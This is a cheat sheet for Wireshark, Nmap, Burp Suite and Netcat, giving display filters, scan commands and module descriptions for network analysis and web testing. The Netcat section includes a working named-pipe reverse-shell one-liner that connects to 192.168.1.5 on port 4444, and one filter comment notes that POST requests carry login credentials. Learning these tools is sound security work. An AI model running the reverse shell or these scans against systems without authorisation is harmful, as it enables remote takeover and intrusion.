

1. WIRESHARK (PACKET CAPTURE & TRAFFIC ANALYSIS)

Definition: Wireshark is an open-source graphical network packet analyzer that captures and inspects network traffic at a microscopic level in real time across the OSI model layers.

Core Functions:

- **Protocol Analysis:** Decodes hundreds of network protocols (IP, TCP, UDP, HTTP, DNS, TLS).
- **Packet Inspection:** Examines packet headers, raw payloads, hex dumps, and TLS handshakes.
- **Stream Reconstruction:** Reassembles full TCP/HTTP payload streams to reconstruct plain-text conversations or extract transferred files.

Key Display Filters (Syntax):

```
# Filter traffic to/from a specific IP address
ip.addr == 192.168.1.5

# Display HTTP or HTTPS traffic
tcp.port == 80 || tcp.port == 443

# Isolate HTTP POST requests (often contains login form credentials)
http.request.method == "POST"

# Display all DNS query and response packets
dns
```

2. NMAP (NETWORK DISCOVERY & VULNERABILITY SCANNING)

Definition: Nmap (Network Mapper) is a free, open-source command-line tool used for network discovery, target host mapping, port scanning, service version identification, and operating system detection.

Essential Command Syntax:

```
# Fast SYN Stealth Scan on common ports (1-1000)
nmap -sS -p 1-1000 192.168.1.10

# Aggressive scan across all ports (Service version, default scripts, OS detection)
nmap -sV -sC -O -p- 192.168.1.10

# Quick Comprehensive Scan (-A flag shortcut)
nmap -A 192.168.1.10
```

3. BURP SUITE (WEB APPLICATION PROXY)

Definition: Burp Suite is an integrated platform for testing web application security. It acts as an Intercepting HTTP/S Proxy sitting between the browser and target web server to inspect and manipulate live web traffic.

Essential Modules & Workflow:

- **Proxy / Intercept:** Intercepts HTTP/S traffic in real time. Enables modification of request headers, cookies, POST parameters, and user-agent strings prior to forwarding.
- **Repeater:** Allows manual modification and repeated resending of individual HTTP requests to test for vulnerabilities like SQL Injection, XSS, and IDOR.
- **Intruder:** Automated attack tool for fuzzing input fields, brute-forcing login forms, or enumerating endpoints using custom wordlists.
- **Decoder:** Quickly encodes or decodes formatting types like URL encoding, Base64, Hex, and HTML entities.

4. NETCAT (NETWORK DEBUGGING & DATA TRANSFER)

Definition: Netcat (`nc`) is a versatile networking utility known as the "Swiss Army Knife" of TCP/IP. It reads and writes raw data across TCP or UDP network connections for debugging, file transfer, and remote administration.

Essential Command Syntax:

```
# 1. Port Scanning (-z for scanner mode, -v for verbose)
nc -zv 192.168.1.10 20-80

# 2. Banner Grabbing (Connect to port 80 to read service headers)
nc -v 192.168.1.10 80

# 3. File Transfer: Receiving Host (OpenBSD Syntax)
nc -l 4444 > received_file.txt

# 4. File Transfer: Sending Host
nc 192.168.1.5 4444 < file_to_send.txt

# 5. Reverse Shell (OpenBSD named pipe method without -e flag)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.1.5 4444 > /tmp/f
```

Important Netcat OpenBSD Note

In standard OpenBSD Netcat (default on Debian/Ubuntu/Kali):

- Do not use `-e` (it is omitted for security). Use named pipes (`mkfifo`) for reverse shells.
- In listener mode, do not combine `-l` and `-p` together. Use `nc -l <port>` directly.